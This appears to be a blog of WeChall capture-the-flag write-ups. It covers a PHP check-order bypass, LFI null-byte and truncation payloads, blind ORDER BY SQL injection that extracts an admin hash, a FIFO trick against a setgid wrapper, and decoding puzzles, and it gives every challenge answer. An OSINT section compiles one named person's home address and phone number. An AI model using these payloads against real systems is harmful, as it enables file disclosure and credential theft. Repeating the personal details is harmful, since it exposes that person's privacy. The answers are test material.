Hello Navi

Tech, Security & Personal Notes

PHP0816 Challenge - The Highlighter 一个带白名单的 PHP source highlighter。目标是绕过 src 白名单,读到 solution.php

Challenge

PHP 0816 是 PHP 0815 后面的一个小型 Web/PHP 题,难度 4.10。页面给了几个链接:

  • solution.php:真正想读的文件。
  • code.php?src=code.php&mode=hl:用 highlighter 查看 code.php 自身。
  • code.php?src=code.php&hl[0]=function&mode=hl:同样查看源码,但额外高亮 function

也就是说,题目没有隐藏源码。真正要看的就是 code.php 怎么处理 GET 参数。

核心代码先按 query string 里的参数顺序遍历 $_GET

1
2
3
4
5
6
7
8
9
10
11
12
foreach ($_GET as $key => $value)
{
if ($key === 'src') {
php0816SetSourceFile($value);
}
elseif ($key === 'mode') {
php0816execute($value);
}
elseif ($key === 'hl') {
php0816addHighlights($value);
}
}

src 的白名单只允许三个文件:

1
2
3
4
5
static $whitelist = array(
'test.php',
'index.php',
'code.php',
);

目标是让 highlighter 读取白名单之外的 solution.php

Solution

先把约束列出来:

  • 直接访问 ?src=solution.php&mode=hl 会失败,因为 src 先被白名单检查改成 false
  • highlighter 读文件前只做路径字符清理:去掉 /\..,但不会重新检查 whitelist。
  • PHP 在脚本开始执行前已经把完整 query string 解析进 $_GET;后面的 foreach ($_GET as ...) 只是按参数插入顺序处理每个 key。

题目源码里甚至把方向提示写出来了:

1
2
# if you like a hint: There is a main logical error in this script,
# applies to all programming languages, not only php. H4\/3: |> |-| |_| |\|)

这里的点不是 PHP 语法 trick,而是 code-flow mistake:检查和使用的顺序错了。

src 的检查函数失败时,只是修改 $_GET['src'],没有 return / exit,也没有把验证后的文件名保存到一个独立变量:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function php0816SetSourceFile($filename)
{
$filename = (string) $filename;

static $whitelist = array(
'test.php',
'index.php',
'code.php',
);

# Sanitize by whitelist
if (!in_array($filename, $whitelist, true))
{
$_GET['src'] = false;
}
}

真正读取文件的位置在 highlighter 里:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function php0816Highlighter()
{
global $highlights;

# SOMEONE SAID THIS WILL FIX IT, BUT PEOPLE CAN STILL SEE solution.php :(
$filename = str_replace(array('/', '\\', '..'), '', Common::getGet('src'));

if (false === ($text = @file_get_contents($filename)))
{
echo '<div>File not Found: '.htmlspecialchars($filename, ENT_QUOTES).'</div>';
return false;
}

$text = htmlspecialchars($text, ENT_QUOTES);
echo '<pre>'.$text.'</pre>';
}

对比两个请求就很清楚。

正常顺序会失败:

1
?src=solution.php&mode=hl

处理流程:

  1. src=solution.php 先被处理。
  2. solution.php 不在 whitelist 中,$_GET['src'] 被改成 false
  3. mode=hl 后处理,highlighter 再读 Common::getGet('src'),拿到的已经不是原始文件名。
  4. 页面返回 File not Found

mode 放到 src 前面:

1
?mode=hl&src=solution.php

流程就反过来了:

  1. PHP 已经把完整 query string 解析进 $_GET,所以 $_GET['src'] 此时已经存在,值是 solution.php
  2. foreach 第一个处理到 mode=hl,调用 php0816execute('hl')
  3. highlighter 立即执行 Common::getGet('src'),读到尚未被 whitelist 改写的原始值 solution.php
  4. file_get_contents('solution.php') 成功读取文件。
  5. 后面才轮到 src=solution.php 的 whitelist 检查,但文件已经被输出,已经太晚。

用 curl 验证坏顺序:

1
2
3
4
5
$ curl -sL \
-H 'User-Agent: Mozilla/5.0' \
'https://www.wechall.net/en/challenge/php0816/code.php?src=solution.php&mode=hl' \
| grep -o 'File not Found'
File not Found

再验证利用顺序:

1
2
3
$ curl -sL \
-H 'User-Agent: Mozilla/5.0' \
'https://www.wechall.net/en/challenge/php0816/code.php?mode=hl&src=solution.php'

返回的 <pre> 里能看到 solution.php

1
2
3
4
5
<?php
# The solution is 'AnotherCodeflowMistake';
?>
NOTHING MORE?
END OF FILE!

这类 bug 可以看作参数处理流程里的 TOCTOU:检查逻辑和使用逻辑都存在,但程序允许“使用”发生在“检查”之前。

修复方式不是再补一个字符串过滤,而是让“最终被使用的文件名”只能来自验证后的状态。例如:

  • 先统一解析全部参数,完成 whitelist 检查后再执行 mode 动作。
  • 不把安全状态写回 $_GET,而是使用独立的 $sourceFile 变量保存验证后的文件名。
  • php0816Highlighter() 内部对最终文件名重新做 whitelist 检查。
AnotherCodeflowMistake

Challenge

身份识别挑战。题面要求输入 gizmore(WeChall 创始人)的真实身份信息,格式为 Firstname,Lastname,Street,House,ZIP,City

提示:gizmore.org 域名和服务器归 gizmore 本人所有。

Solution

这并不是 cookie/session 伪造题,而是 People Research (OSINT) 挑战。

Step 1: 用户资料

访问 /profile/gizmore 可看到:

  • 名字:Christian
  • 城市:Peine
  • 手机:004917659598844

WeChall 用户资料不公开姓氏和完整地址,但手机号和城市是切入点。

Step 2: 域名交叉验证

gizmore 运营 ESL(Egmont Security Labs)平台。ESL 的 imprint 页面(es-land.net/core;impressum.html?_lang=en)包含法律要求的完整身份披露:

1
2
3
4
gizmore, a.k.a. Christian Busch
Am Bauhof 15
31224 Peine, Germany
Phone: +49 176 59598844

手机号 +49 176 59598844 与 WeChall 资料中的 004917659598844 完全一致,确认身份无误。

Step 3: 组合提交

将信息按给定顺序拼接提交:

Christian,Busch,Am Bauhof,15,31224,Peine

Challenge

PHP Local File Inclusion。源码中的漏洞:

1
2
$filename = 'pages/'.(isset($_GET["file"])?$_GET["file"]:"welcome").'.html';
include $filename;

用户输入被拼到 pages/ 后面,末尾固定加 .html。目标是包含挑战目录中的 solution.php

Solution

经典路线是 directory traversal + null byte truncation。PHP 5.3.4 之前,字符串里的 null byte 会截断底层文件路径。

Payload:

1
/challenge/training/php/lfi/up/index.php?file=../../solution.php%00

路径拼接过程:

1
pages/../../solution.php%00.html

底层打开文件时在 %00 处截断,实际路径等价于:

1
pages/../../solution.php

../../up/pages/ 回到 LFI challenge 根目录,从而包含 solution.php

如果 null byte 被过滤,旧 PHP 还可尝试 4096 字符路径截断:

1
?file=../../solution.php/././././...[padding to 4096]...

Safety Note

访问 solution.php 可能直接触发 WeChall 解题或改变账号状态。当前草稿记录的是已知 payload;执行 live 请求前需要确认,并在执行后用 /en/challswc_chall_solved_1 验证。

session-bound: exploit URL triggers solve, no fixed answer

Challenge

Py-Tong is a Warchall-backed Python exploitation challenge. The WeChall page exposes the Python source, but the real solution is printed only by the pytong wrapper binary on the Warchall SSH box, because the wrapper sets the effective group needed to read the solution file.

Source

Live source fetch from index.php?highlight=christmas shows the essential logic:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
SOLUTION = '/home/level/12_pytong/pytong_solution.php'

def main(filepath):
if any(ipattern in filepath for ipattern in ('proc', 'uptime', 'tmp', 'random', 'full', 'zero', 'null')):
raise ValueError('nononono: hacking is not allowed')

if not os.path.exists(filepath):
raise ValueError('sorry file "%s" does not exists' % filepath)

with open(filepath) as gizmore:
jjk = gizmore.read()

if not os.path.exists(filepath):
print('You are l33t')
return True
else:
with open(filepath) as spaceone:
kwisatz = spaceone.read()

if jjk != kwisatz:
print('You are a winner')
return True

raise ValueError('fail...')

If main() returns True, the wrapper reads and prints the solution file.

The wrapper binary (wrap.c) sets real UID/GID to effective UID/GID (setgid bit on the binary grants group level12 read access to the solution file):

1
2
3
setreuid(geteuid(), geteuid());
setregid(getegid(), getegid());
execle(PYTHON, PYTHON, CHALLENGE, argv[1], (char *)0, (char *)0);

Solution

The page hints that a race condition works, but is not required. A FIFO (named pipe) is the clean route: it passes os.path.exists(), and each open(...).read() receives different content from a separate writer.

Key pitfall: paths containing tmp, proc, random, full, zero, or null are blocked — do not create the FIFO under /tmp/.

On the Warchall SSH host:

1
2
3
4
5
6
7
8
9
10
$ cd /home/level/12_pytong
$ mkfifo ~/pf
$ (echo aaa > ~/pf && echo bbb > ~/pf) &
$ ./pytong ~/pf
opening /home/user/<username>/pf
closed
You are a winner
<?php
return 'KnowYourFilesChiller';
?>

The first open().read() gets aaa, the second gets bbb, so jjk != kwisatz and the program enters the success branch.

KnowYourFilesChiller

Challenge

SQL injection in an ORDER BY clause. Recover Admin's 32-character uppercase MD5 hash from the users table and submit it as the solution.

Analysis

Live source fetch (index.php?highlight=christmas) confirms the vulnerable view code:

1
2
3
4
5
6
static $whitelist = array(1, 3, 4, 5);
if (!in_array($orderby, $whitelist)) {
return htmlDisplayError('Error 1010101: Not in whitelist.');
}
$orderby = $db->escape($orderby);
$query = "SELECT * FROM users ORDER BY $orderby $dir LIMIT 10";

The bug is the non-strict in_array(). PHP loosely compares strings to numbers, so a value like 3,(SELECT ...)-- passes the whitelist check (converts to integer 3), then reaches SQL as raw ORDER BY expression.

Exposed table schema:

1
2
3
4
5
6
7
8
CREATE TABLE IF NOT EXISTS users(
username VARCHAR(32) CHARACTER SET ascii COLLATE ascii_general_ci,
password CHAR(32) CHARACTER SET ascii COLLATE ascii_bin,
apples INT(10) UNSIGNED DEFAULT 0,
bananas INT(10) UNSIGNED DEFAULT 0,
cherries INT(10) UNSIGNED DEFAULT 0,
PRIMARY KEY(username)
);

Solution

Attempt 1: Scalar subquery (fails)

The initial approach used a scalar subquery in ORDER BY to compare one character at a time:

1
2
3,(SELECT IF(SUBSTRING(`password`,N,1)=CHAR(X),0,1)
FROM users WHERE username=0x41646d696e)--

This does NOT work because MySQL evaluates scalar subqueries in ORDER BY as constants — the same value for all rows. Both SELECT 0 and SELECT 1 produce identical sort orders, so Admin's position never changes. Live diagnostic confirmed: both left Admin at position 12.

Attempt 2: Per-row conditional (works)

The key insight: column references and expressions in ORDER BY ARE evaluated per-row. The password column is directly accessible without a subquery:

1
3,IF(username=0x41646d696e AND ASCII(SUBSTRING(password,N,1))=X,0,1)--

How it works: - username=0x41646d696e (hex for "Admin") identifies Admin's row - ASCII(SUBSTRING(password,N,1))=X checks the N-th character - AND combines: only Admin's row with matching character gets IF=0 - All other rows get IF=1 - With ORDER BY 3, IF(...), Admin moves from position 13 → 10 when the condition is true

The -- comments out DESC LIMIT 10, returning all rows sorted by the injected expression.

Extraction

Binary search on hex character ASCII values (0-9: 48-57, A-F: 65-70) using >= comparisons, with equality verification per position. About 5 requests per character × 32 positions ≈ 160 requests total.

Result: 3C3CBEB0C8ADC66F2922C65E7784BE14

Why scalar subqueries fail in ORDER BY

In MySQL, ORDER BY evaluates expressions per row, but scalar subqueries are evaluated once and treated as constants. This is a common pitfall: (SELECT ...) in ORDER BY looks like it should work per-row, but the optimizer collapses it. Direct column references and non-subquery expressions (IF(condition, value1, value2)) are the correct path.

Useful observations

  • $db->escape() does NOT strip parentheses — function calls and subqueries work fine
  • in_array() non-strict check: 3,anything passes because PHP converts "3,anything" to integer 3
  • Hex encoding (0x41646d696e) bypasses any single-quote escaping in $db->escape()
  • Backticks around `password` are needed in subquery contexts (to avoid collision with MySQL's PASSWORD() function) but not in direct expressions like SUBSTRING(password,N,1)
  • Admin's default position is 9 (sorted by apples DESC) or 13 (sorted by apples ASC)
  • WeChall rate limits aggressively after ~80 rapid requests — use 1.0-1.2s delays
3C3CBEB0C8ADC66F2922C65E7784BE14

Challenge

Checksums 不是文件 MD5/SHA 题,而是 GAN(gizmore article number)校验位题。页面提供 gan.frm.htm,其中泄露了校验算法。

Solution

gan.frm.htm 中的核心逻辑:

1
2
3
4
5
6
$poly = [1, 5, 13, 31, 131, 131, 137, 7, 43, 1];
$sum = 1;
for ($i = 0; $i < 8; $i++) {
$sum = $sum * $poly[$i] + $digit[$i];
}
$check = $sum % 10;

前 8 位是数据位,第 9 位必须等于上面计算出的 check

以默认值 12345678 为例:

1
2
3
4
5
6
poly = [1, 5, 13, 31, 131, 131, 137, 7, 43, 1]
digits = [1,2,3,4,5,6,7,8]
s = 1
for i, d in enumerate(digits):
s = s * poly[i] + d
print(s % 10) # => 3

所以合法 GAN 是 123456783,页面格式化显示为:

123-456-783

Challenge

CGX#16: Big Endian 给出一个随机生成并绑定当前 session 的 bit stream,例如:

1
001100101100101001110010001000101110001000110010010000100110001010100010101100100010001010000010

Solution

Recon: bit stream 长 96 bit,96 % 8 == 0,显然是 8-bit bytes。但直接按普通二进制(MSB-first)解码得到乱码。题名 "Big Endian" 暗示不是普通的字节序问题——这里不是多字节整数的 byte order,而是每个字节内部的 bit 权重反着读:最左 bit 是 LSB,最右 bit 是 MSB。

以第一个字节 00110010 为例,按本题权重计算:

1
0×1 + 0×2 + 1×4 + 1×8 + 0×16 + 0×32 + 1×64 + 0×128 = 76 = 'L'

等价做法是先反转每个字节内部的 bit,再按普通二进制解释:

1
00110010 -> 01001100 -> 76 -> L

Python:

1
2
3
4
bits = '001100101100101001110010001000101110001000110010010000100110001010100010101100100010001010000010'
assert len(bits) % 8 == 0
answer = ''.join(chr(int(bits[i:i+8][::-1], 2)) for i in range(0, len(bits), 8))
print(answer)

本地验证示例输出为:

1
LSNDGLBFEMDA

只反转每个字节内部的 bit,不要反转字节顺序。实际提交前要解自己页面当前 session 的 bit stream。

session-bound: reverse bits per byte, answer varies

Challenge

Hello hacker, In this challenge you will find a little form, but where does it sends it's data too?! Good Luck!

  • gizmore

页面上只有一个小表单。题目问的是:这个表单到底把数据提交到哪里?

Solution

核心是看 HTML source,而不是看渲染后的表单。表单本身没有明显按钮动作,真正线索在 action

源码里可以看到类似结构:

1
<form action="indice.php" method="post"></form>

因此表单提交目标不是当前题目页,也不是 ?,而是隐藏在 action 属性里的 indice.php

答案就是表单提交到的文件名:

indice.php

Challenge

2021 Christmas Hippety (Stegano, Javascript) -- score: 1

The Easter Bunny is angry, because he hates winter and has to wait so long for easter season and the sun. Can you calm him down? We wish you a merry Christmas 2021!

Solution

Step 1: 查看页面源码

页面描述中 "angry" 是一个可点击链接。HTML 源码揭示了两层意图:

1
2
The <a href="/profile/EasterBunny">Easter Bunny</a> is
<a href="hoppety.php" onclick="this.href='hop.php'">angry</a>
  • href 原本指向 hoppety.php
  • onclick 在点击瞬间将目标改为 hop.php,隐藏了真实路径

Step 2: 直接访问 hoppety.php

绕过 JS 拦截,直接请求 hoppety.php

1
$ curl -s https://www.wechall.net/en/challenge/christmas2021/hippety/hoppety.php

返回的 301 页面中,响应体包含明文密码,同时还有另一层 JS 重定向阻止普通访问:

1
2
<head><script>window.location.replace('hop.php');</script></head>
<body>HippetyHoppetyConfusion</body>

这就是 Stegano 标签的含义:信息隐藏在页面响应体中,不被用户直接看到。而 Javascript 标签则对应了两层误导机制(onclick 改 href + window.location.replace 自动跳转)。

hop.php 最终只展示一个困惑兔子的 GIF 动画——它是纯粹的诱饵。

Step 3: 提交答案

HippetyHoppetyConfusion

Challenge

CGX#15: Still Binary 考察 7-bit ASCII。题目页面给出一个随机生成并绑定当前 session 的 bit stream,例如:

1
101000010100111001100100001010000011001001100010110000111010010100010110000101010000

每个 session 的 bit stream 不同,不能把示例解码结果当成固定答案。

Solution

Recon: 观察 bit stream 长度。示例 84 bit,尝试 8-bit 分组:84 % 8 = 4(不整除)。尝试 7-bit 分组:84 % 7 = 0 → 长度能被 7 整除。早期 ASCII 只定义 0-127,每个字符只需要 7 bit;第 8 bit 在一些通信场景中可作为 parity bit。因此本题不是 8-bit byte stream,而是连续的 7-bit ASCII stream。

解法步骤

  1. 从页面抓取当前 session 的 bit stream(curl 或浏览器查看源代码)
  2. 检查 len(bits) % 7 == 0
  3. 每 7 bit 一组,按普通二进制 MSB→LSB 转 ASCII
  4. 提交解码后的文本

Python:

1
2
3
4
bits = '101000010100111001100100001010000011001001100010110000111010010100010110000101010000'
assert len(bits) % 7 == 0
answer = ''.join(chr(int(bits[i:i+7], 2)) for i in range(0, len(bits), 7))
print(answer)

本地验证示例输出为:

1
PSLBAIECREBP

实际提交前要重新抓取当前 WeChall 页面并解码。

session-bound: 7-bit ASCII decode, answer varies per session

+ + +
SYSTEM STATUS: ACTIVE ENCRYPTED SECTOR 7 PRTS_TERMINAL_V2.0 PROTOCOL: 0x2A ENCRYPTED DATA STREAM SYSTEM: ONLINE